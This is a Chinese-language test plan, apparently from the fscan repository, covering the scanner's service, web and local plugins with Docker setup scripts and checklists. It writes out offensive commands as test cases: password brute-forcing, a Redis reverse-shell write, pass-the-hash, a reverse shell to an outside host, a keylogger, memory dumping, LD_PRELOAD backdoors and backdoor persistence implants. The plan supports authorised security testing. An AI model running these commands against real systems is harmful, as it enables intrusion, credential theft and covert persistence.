mirror of
https://github.com/shadow1ng/fscan.git
synced 2025-09-14 14:06:44 +08:00

- 覆盖所有47个插件模块的测试方案 - 包含服务插件、Web插件、本地插件三大类测试 - 提供Docker环境快速部署脚本 - 包含性能测试、稳定性测试、安全性测试 - 提供详细的验证标准和测试报告模板 - 涵盖内网渗透、外网侦察、横向移动等实战场景
677 lines
14 KiB
Markdown
677 lines
14 KiB
Markdown
# Fscan 插件饱和性测试文档
|
||
|
||
## 概述
|
||
|
||
本文档用于全面测试Fscan v2.2.1的所有插件模块,确保每个组件都能正常工作。测试分为三大类:**服务插件**、**Web插件**和**本地插件**。
|
||
|
||
---
|
||
|
||
## 测试环境要求
|
||
|
||
### 基础环境
|
||
- Linux/Windows测试环境
|
||
- Docker容器(用于快速部署测试服务)
|
||
- 网络连接(用于外部服务测试)
|
||
- 管理员权限(用于本地插件测试)
|
||
|
||
### 测试目标服务器
|
||
建议使用Docker快速部署以下服务:
|
||
```bash
|
||
# MySQL
|
||
docker run -d -p 3306:3306 -e MYSQL_ROOT_PASSWORD=123456 mysql:5.7
|
||
|
||
# Redis
|
||
docker run -d -p 6379:6379 redis:alpine
|
||
|
||
# MongoDB
|
||
docker run -d -p 27017:27017 mongo:4.4
|
||
|
||
# PostgreSQL
|
||
docker run -d -p 5432:5432 -e POSTGRES_PASSWORD=postgres postgres:13
|
||
|
||
# SSH服务
|
||
docker run -d -p 2222:22 -e SSH_ENABLE_PASSWORD_AUTH=true linuxserver/openssh-server
|
||
|
||
# FTP服务
|
||
docker run -d -p 21:21 -p 30000-30009:30000-30009 -e FTP_USER=test -e FTP_PASS=test fauria/vsftpd
|
||
|
||
# SMB/CIFS
|
||
docker run -d -p 139:139 -p 445:445 dperson/samba -u "test;test" -s "share;/tmp;yes;no;yes"
|
||
```
|
||
|
||
---
|
||
|
||
## 1. 服务插件测试 (Services Plugins)
|
||
|
||
### 1.1 数据库服务测试
|
||
|
||
#### MySQL插件测试
|
||
```bash
|
||
# 基础连接测试
|
||
./fscan -h 127.0.0.1:3306 -m mysql
|
||
|
||
# 暴力破解测试
|
||
./fscan -h 127.0.0.1:3306 -user root -pwd "123456,admin,mysql"
|
||
|
||
# 自定义字典测试
|
||
echo "root" > users.txt
|
||
echo -e "123456\nadmin\nmysql" > passwords.txt
|
||
./fscan -h 127.0.0.1:3306 -userf users.txt -pwdf passwords.txt
|
||
```
|
||
|
||
**验证标准:**
|
||
- [ ] 能正确识别MySQL服务
|
||
- [ ] 能进行版本探测
|
||
- [ ] 能执行暴力破解攻击
|
||
- [ ] 成功时显示版本信息和权限
|
||
|
||
#### PostgreSQL插件测试
|
||
```bash
|
||
# 基础测试
|
||
./fscan -h 127.0.0.1:5432 -m postgresql
|
||
|
||
# 暴力破解
|
||
./fscan -h 127.0.0.1:5432 -user postgres -pwd "postgres,admin,123456"
|
||
```
|
||
|
||
**验证标准:**
|
||
- [ ] 正确识别PostgreSQL服务
|
||
- [ ] 显示版本信息
|
||
- [ ] 暴力破解功能正常
|
||
|
||
#### MongoDB插件测试
|
||
```bash
|
||
# 无认证连接测试
|
||
./fscan -h 127.0.0.1:27017 -m mongodb
|
||
|
||
# 认证连接测试(如果有密码)
|
||
./fscan -h 127.0.0.1:27017 -user admin -pwd "admin,mongodb,123456"
|
||
```
|
||
|
||
**验证标准:**
|
||
- [ ] 检测MongoDB服务
|
||
- [ ] 识别未授权访问
|
||
- [ ] 显示数据库列表(如果有权限)
|
||
|
||
#### MSSQL插件测试
|
||
```bash
|
||
# SQL Server测试(需要MSSQL容器)
|
||
./fscan -h target:1433 -m mssql -user sa -pwd "Password123,admin,sa"
|
||
```
|
||
|
||
#### Redis插件测试
|
||
```bash
|
||
# 基础连接测试
|
||
./fscan -h 127.0.0.1:6379 -m redis
|
||
|
||
# 未授权访问测试
|
||
./fscan -h 127.0.0.1:6379
|
||
|
||
# 写入测试(危险操作,仅测试环境)
|
||
./fscan -h 127.0.0.1:6379 -rs reverse_shell_command
|
||
```
|
||
|
||
**验证标准:**
|
||
- [ ] 检测Redis服务
|
||
- [ ] 识别未授权访问
|
||
- [ ] 能执行info命令
|
||
- [ ] 支持写入操作(如果有权限)
|
||
|
||
#### Oracle插件测试
|
||
```bash
|
||
# Oracle测试(需要Oracle容器)
|
||
./fscan -h target:1521 -m oracle -user system -pwd "oracle,admin,123456"
|
||
```
|
||
|
||
### 1.2 网络服务测试
|
||
|
||
#### SSH插件测试
|
||
```bash
|
||
# SSH暴力破解测试
|
||
./fscan -h 127.0.0.1:22 -m ssh -user "root,admin,ubuntu" -pwd "123456,admin,root"
|
||
|
||
# SSH密钥测试
|
||
./fscan -h 127.0.0.1:22 -sshkey /path/to/private_key
|
||
```
|
||
|
||
**验证标准:**
|
||
- [ ] 正确识别SSH服务
|
||
- [ ] 显示SSH版本和算法
|
||
- [ ] 暴力破解功能正常
|
||
- [ ] 支持密钥认证
|
||
|
||
#### FTP插件测试
|
||
```bash
|
||
# FTP连接测试
|
||
./fscan -h 127.0.0.1:21 -m ftp
|
||
|
||
# FTP暴力破解
|
||
./fscan -h 127.0.0.1:21 -user "ftp,anonymous,admin" -pwd "ftp,123456,admin"
|
||
```
|
||
|
||
**验证标准:**
|
||
- [ ] 检测FTP服务
|
||
- [ ] 支持匿名登录检测
|
||
- [ ] 暴力破解功能正常
|
||
- [ ] 显示FTP banner信息
|
||
|
||
#### Telnet插件测试
|
||
```bash
|
||
# Telnet测试
|
||
./fscan -h target:23 -m telnet -user "admin,root" -pwd "admin,123456"
|
||
```
|
||
|
||
#### SMB插件测试
|
||
```bash
|
||
# SMB服务探测
|
||
./fscan -h 127.0.0.1:445 -m smb
|
||
|
||
# SMB共享枚举
|
||
./fscan -h 127.0.0.1:445 -user guest -pwd ""
|
||
|
||
# MS17-010漏洞检测
|
||
./fscan -h target:445 -m ms17010
|
||
```
|
||
|
||
**验证标准:**
|
||
- [ ] 检测SMB服务版本
|
||
- [ ] 枚举共享目录
|
||
- [ ] 检测已知漏洞
|
||
- [ ] 显示操作系统信息
|
||
|
||
#### SMTP插件测试
|
||
```bash
|
||
# SMTP测试
|
||
./fscan -h target:25 -m smtp
|
||
./fscan -h target:587 -m smtp
|
||
```
|
||
|
||
#### LDAP插件测试
|
||
```bash
|
||
# LDAP连接测试
|
||
./fscan -h target:389 -m ldap
|
||
./fscan -h target:636 -m ldap # LDAPS
|
||
```
|
||
|
||
### 1.3 专用服务测试
|
||
|
||
#### Elasticsearch插件测试
|
||
```bash
|
||
# Elasticsearch测试
|
||
./fscan -h 127.0.0.1:9200 -m elasticsearch
|
||
```
|
||
|
||
#### Kafka插件测试
|
||
```bash
|
||
# Kafka测试
|
||
./fscan -h target:9092 -m kafka
|
||
```
|
||
|
||
#### RabbitMQ插件测试
|
||
```bash
|
||
# RabbitMQ管理接口测试
|
||
./fscan -h target:15672 -m rabbitmq
|
||
./fscan -h target:5672 -m rabbitmq
|
||
```
|
||
|
||
#### Memcached插件测试
|
||
```bash
|
||
# Memcached测试
|
||
./fscan -h target:11211 -m memcached
|
||
```
|
||
|
||
#### Neo4j插件测试
|
||
```bash
|
||
# Neo4j测试
|
||
./fscan -h target:7474 -m neo4j
|
||
./fscan -h target:7687 -m neo4j
|
||
```
|
||
|
||
#### VNC插件测试
|
||
```bash
|
||
# VNC测试
|
||
./fscan -h target:5900 -m vnc
|
||
```
|
||
|
||
#### RDP插件测试
|
||
```bash
|
||
# RDP连接测试
|
||
./fscan -h target:3389 -m rdp
|
||
```
|
||
|
||
---
|
||
|
||
## 2. Web插件测试 (Web Plugins)
|
||
|
||
### 2.1 Web标题获取测试
|
||
```bash
|
||
# HTTP标题获取
|
||
./fscan -u "http://www.example.com"
|
||
./fscan -u "https://www.example.com"
|
||
|
||
# 批量URL测试
|
||
echo -e "http://www.example.com\nhttps://www.github.com" > urls.txt
|
||
./fscan -uf urls.txt
|
||
|
||
# 端口扫描+Web检测
|
||
./fscan -h 127.0.0.1 -p 80,443,8080,8443
|
||
```
|
||
|
||
**验证标准:**
|
||
- [ ] 正确获取网页标题
|
||
- [ ] 显示HTTP状态码
|
||
- [ ] 识别Web服务器信息
|
||
- [ ] 显示响应长度
|
||
- [ ] 支持HTTPS检测
|
||
|
||
### 2.2 Web POC扫描测试
|
||
```bash
|
||
# 启用POC扫描
|
||
./fscan -u "http://target" -full
|
||
|
||
# 指定POC名称
|
||
./fscan -u "http://target" -pocname "spring,struts"
|
||
|
||
# 自定义POC路径
|
||
./fscan -u "http://target" -pocpath /path/to/pocs/
|
||
|
||
# 禁用POC(对照测试)
|
||
./fscan -u "http://target" -nopoc
|
||
```
|
||
|
||
**验证标准:**
|
||
- [ ] 能加载POC规则
|
||
- [ ] 正确识别已知漏洞
|
||
- [ ] 显示漏洞详细信息
|
||
- [ ] POC并发控制正常
|
||
|
||
### 2.3 指纹识别测试
|
||
```bash
|
||
# 启用指纹识别
|
||
./fscan -u "http://target" -fp
|
||
|
||
# 指纹+POC组合
|
||
./fscan -u "http://target" -fp -full
|
||
```
|
||
|
||
**验证标准:**
|
||
- [ ] 识别Web应用类型
|
||
- [ ] 识别中间件信息
|
||
- [ ] 识别CMS类型
|
||
- [ ] 识别技术栈
|
||
|
||
---
|
||
|
||
## 3. 本地插件测试 (Local Plugins)
|
||
|
||
> **警告:本地插件测试具有潜在风险,仅在测试环境中执行**
|
||
|
||
### 3.1 系统信息收集
|
||
```bash
|
||
# 系统信息收集
|
||
./fscan -local systeminfo
|
||
|
||
# 环境变量信息
|
||
./fscan -local envinfo
|
||
|
||
# 文件信息收集
|
||
./fscan -local fileinfo
|
||
|
||
# 域控信息收集
|
||
./fscan -local dcinfo
|
||
```
|
||
|
||
**验证标准:**
|
||
- [ ] 收集操作系统信息
|
||
- [ ] 枚举环境变量
|
||
- [ ] 查找敏感文件
|
||
- [ ] 识别域环境
|
||
|
||
### 3.2 服务和进程管理
|
||
```bash
|
||
# Windows服务管理
|
||
./fscan -local winservice
|
||
|
||
# 系统服务管理(Linux)
|
||
./fscan -local systemdservice
|
||
|
||
# 计划任务(Windows)
|
||
./fscan -local winschtask
|
||
|
||
# Cron任务(Linux)
|
||
./fscan -local crontask
|
||
```
|
||
|
||
**验证标准:**
|
||
- [ ] 枚举运行服务
|
||
- [ ] 识别计划任务
|
||
- [ ] 显示服务详细信息
|
||
- [ ] 检测异常服务
|
||
|
||
### 3.3 持久化和后门
|
||
```bash
|
||
# Windows启动项
|
||
./fscan -local winstartup
|
||
|
||
# 注册表查询
|
||
./fscan -local winregistry
|
||
|
||
# LD_PRELOAD后门
|
||
./fscan -local ldpreload
|
||
|
||
# Shell环境后门
|
||
./fscan -local shellenv
|
||
```
|
||
|
||
### 3.4 网络和通信
|
||
```bash
|
||
# 反弹Shell
|
||
./fscan -local reverseshell -rsh 192.168.1.100:4444
|
||
|
||
# 正向Shell服务器
|
||
./fscan -local forwardshell -fsh-port 4444
|
||
|
||
# SOCKS5代理
|
||
./fscan -local socks5proxy -start-socks5 1080
|
||
```
|
||
|
||
### 3.5 高级功能
|
||
```bash
|
||
# 键盘记录
|
||
./fscan -local keylogger -keylog-output keylog.txt
|
||
|
||
# 内存转储
|
||
./fscan -local minidump
|
||
|
||
# 杀毒软件检测
|
||
./fscan -local avdetect
|
||
|
||
# 系统清理
|
||
./fscan -local cleaner
|
||
```
|
||
|
||
### 3.6 文件操作
|
||
```bash
|
||
# 文件下载
|
||
./fscan -local downloader -download-url "http://example.com/file.exe" -download-path "/tmp/file.exe"
|
||
|
||
# 持久化文件植入(Linux)
|
||
./fscan -local persistence -persistence-file "/tmp/backdoor.elf"
|
||
|
||
# 持久化文件植入(Windows)
|
||
./fscan -local persistence -win-pe "C:\\temp\\backdoor.exe"
|
||
```
|
||
|
||
---
|
||
|
||
## 4. 综合测试场景
|
||
|
||
### 4.1 内网渗透场景
|
||
```bash
|
||
# 完整内网扫描
|
||
./fscan -h 192.168.1.0/24 -p 21,22,23,80,135,139,443,445,1433,3306,3389,5432
|
||
|
||
# 禁用ping的扫描
|
||
./fscan -h 192.168.1.0/24 -np
|
||
|
||
# 指定线程数的大规模扫描
|
||
./fscan -h 10.0.0.0/16 -t 1000 -mt 100
|
||
```
|
||
|
||
### 4.2 外网侦察场景
|
||
```bash
|
||
# 存活探测
|
||
./fscan -h target.com -ao
|
||
|
||
# Web应用测试
|
||
./fscan -h target.com -fp -full
|
||
|
||
# 特定端口扫描
|
||
./fscan -h target.com -p 80,443,8080,8443,8888
|
||
```
|
||
|
||
### 4.3 横向移动场景
|
||
```bash
|
||
# 凭据重用测试
|
||
./fscan -h 192.168.1.0/24 -user administrator -pwd "Password123"
|
||
|
||
# 哈希传递攻击
|
||
./fscan -h 192.168.1.0/24 -hash "aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0"
|
||
```
|
||
|
||
---
|
||
|
||
## 5. 输出和日志测试
|
||
|
||
### 5.1 输出格式测试
|
||
```bash
|
||
# 文本格式输出
|
||
./fscan -h target -o result.txt -f txt
|
||
|
||
# JSON格式输出
|
||
./fscan -h target -o result.json -f json
|
||
|
||
# CSV格式输出
|
||
./fscan -h target -o result.csv -f csv
|
||
|
||
# 禁用文件输出
|
||
./fscan -h target -no
|
||
```
|
||
|
||
### 5.2 日志级别测试
|
||
```bash
|
||
# 详细日志
|
||
./fscan -h target -log all
|
||
|
||
# 仅基础信息
|
||
./fscan -h target -log base
|
||
|
||
# 静默模式
|
||
./fscan -h target -silent
|
||
|
||
# 无颜色输出
|
||
./fscan -h target -nocolor
|
||
|
||
# 无进度条
|
||
./fscan -h target -nopg
|
||
```
|
||
|
||
---
|
||
|
||
## 6. 性能和稳定性测试
|
||
|
||
### 6.1 高并发测试
|
||
```bash
|
||
# 最大线程测试
|
||
./fscan -h 192.168.1.0/24 -t 2000 -mt 200
|
||
|
||
# 超时控制测试
|
||
./fscan -h target -time 10 -wt 30 -gt 300
|
||
|
||
# 重试机制测试
|
||
./fscan -h unreachable_target -retry 5
|
||
```
|
||
|
||
### 6.2 大规模目标测试
|
||
```bash
|
||
# C类网段扫描
|
||
./fscan -h 192.168.1.0/24
|
||
|
||
# B类网段扫描(谨慎使用)
|
||
./fscan -h 10.0.0.0/16 -t 1000
|
||
|
||
# 文件批量目标
|
||
echo -e "192.168.1.1\n192.168.1.2\n192.168.1.3" > targets.txt
|
||
./fscan -hf targets.txt
|
||
```
|
||
|
||
---
|
||
|
||
## 7. 代理和网络测试
|
||
|
||
### 7.1 HTTP代理测试
|
||
```bash
|
||
# HTTP代理
|
||
./fscan -h target -proxy http://127.0.0.1:8080
|
||
|
||
# SOCKS5代理
|
||
./fscan -h target -socks5 127.0.0.1:1080
|
||
|
||
# 组合使用
|
||
./fscan -u "http://target" -proxy http://proxy:8080 -cookie "session=abc123"
|
||
```
|
||
|
||
### 7.2 DNS和网络配置
|
||
```bash
|
||
# DNS日志记录
|
||
./fscan -h target.com -dns
|
||
|
||
# 用户代理自定义
|
||
./fscan -u "http://target" -cookie "custom=value"
|
||
|
||
# 域环境扫描
|
||
./fscan -h target -domain corp.local
|
||
```
|
||
|
||
---
|
||
|
||
## 8. 错误处理和边界测试
|
||
|
||
### 8.1 错误输入测试
|
||
```bash
|
||
# 无效目标
|
||
./fscan -h "invalid_host"
|
||
|
||
# 无效端口
|
||
./fscan -h 127.0.0.1 -p 99999
|
||
|
||
# 无效插件
|
||
./fscan -h 127.0.0.1 -m nonexistent_plugin
|
||
|
||
# 无效文件路径
|
||
./fscan -hf /nonexistent/file.txt
|
||
```
|
||
|
||
### 8.2 资源限制测试
|
||
```bash
|
||
# 内存使用测试(大目标列表)
|
||
./fscan -h 0.0.0.0/0 -ao # 不要真的运行这个
|
||
|
||
# 磁盘空间测试(大输出文件)
|
||
./fscan -h large_network -o /tmp/large_result.txt
|
||
```
|
||
|
||
---
|
||
|
||
## 9. 验证清单
|
||
|
||
### 9.1 功能完整性检查
|
||
- [ ] 所有服务插件都能正常加载和执行
|
||
- [ ] Web插件能正确处理HTTP/HTTPS协议
|
||
- [ ] 本地插件能在对应操作系统上正常运行
|
||
- [ ] 输出格式正确且完整
|
||
- [ ] 日志记录准确无误
|
||
|
||
### 9.2 稳定性检查
|
||
- [ ] 长时间运行无内存泄漏
|
||
- [ ] 高并发场景下无崩溃
|
||
- [ ] 网络异常时能优雅处理
|
||
- [ ] 错误输入不会导致程序异常退出
|
||
|
||
### 9.3 安全性检查
|
||
- [ ] 本地插件不会误伤测试环境
|
||
- [ ] 网络扫描遵循配置的限制
|
||
- [ ] 敏感信息正确处理(不明文显示密码等)
|
||
- [ ] 代理配置正确工作
|
||
|
||
---
|
||
|
||
## 10. 测试报告模板
|
||
|
||
### 测试执行记录
|
||
```
|
||
测试日期:____________________
|
||
测试环境:____________________
|
||
Fscan版本:____________________
|
||
Go版本:______________________
|
||
|
||
插件测试结果:
|
||
□ 服务插件 (____/25 通过)
|
||
□ Web插件 (____/2 通过)
|
||
□ 本地插件 (____/20 通过)
|
||
|
||
性能测试结果:
|
||
□ 并发性能测试通过
|
||
□ 内存使用测试通过
|
||
□ 网络异常处理测试通过
|
||
|
||
发现的问题:
|
||
1. ________________________
|
||
2. ________________________
|
||
3. ________________________
|
||
|
||
测试建议:
|
||
1. ________________________
|
||
2. ________________________
|
||
3. ________________________
|
||
|
||
测试人员签名:____________________
|
||
```
|
||
|
||
---
|
||
|
||
## 附录
|
||
|
||
### A. Docker测试环境快速部署脚本
|
||
```bash
|
||
#!/bin/bash
|
||
# 快速部署测试服务脚本
|
||
echo "部署MySQL..."
|
||
docker run -d --name mysql-test -p 3306:3306 -e MYSQL_ROOT_PASSWORD=123456 mysql:5.7
|
||
|
||
echo "部署Redis..."
|
||
docker run -d --name redis-test -p 6379:6379 redis:alpine
|
||
|
||
echo "部署PostgreSQL..."
|
||
docker run -d --name postgres-test -p 5432:5432 -e POSTGRES_PASSWORD=postgres postgres:13
|
||
|
||
echo "部署SSH..."
|
||
docker run -d --name ssh-test -p 2222:22 -e SSH_ENABLE_PASSWORD_AUTH=true linuxserver/openssh-server
|
||
|
||
echo "测试服务部署完成!"
|
||
```
|
||
|
||
### B. 清理测试环境脚本
|
||
```bash
|
||
#!/bin/bash
|
||
# 清理测试容器
|
||
docker stop mysql-test redis-test postgres-test ssh-test
|
||
docker rm mysql-test redis-test postgres-test ssh-test
|
||
rm -f result.* *.txt *.json *.csv keylog.txt
|
||
echo "测试环境清理完成!"
|
||
```
|
||
|
||
### C. 常用测试命令备忘
|
||
```bash
|
||
# 快速本地服务扫描
|
||
./fscan -h 127.0.0.1 -p 21,22,80,135,139,443,445,1433,3306,3389,5432,6379
|
||
|
||
# 完整功能测试
|
||
./fscan -h 127.0.0.1 -fp -full -log all
|
||
|
||
# 性能基准测试
|
||
time ./fscan -h 192.168.1.0/24 -t 500
|
||
```
|
||
|
||
---
|
||
|
||
**注意事项:**
|
||
1. 本测试文档仅用于授权的安全测试环境
|
||
2. 禁止在生产环境或未授权系统上执行测试
|
||
3. 部分本地插件可能需要管理员权限
|
||
4. 测试过程中请备份重要数据
|
||
5. 如发现安全漏洞,请负责任地披露
|
||
|
||
**版本:** v1.0
|
||
**更新日期:** 2025-09-02
|
||
**适用于:** Fscan v2.2.1 |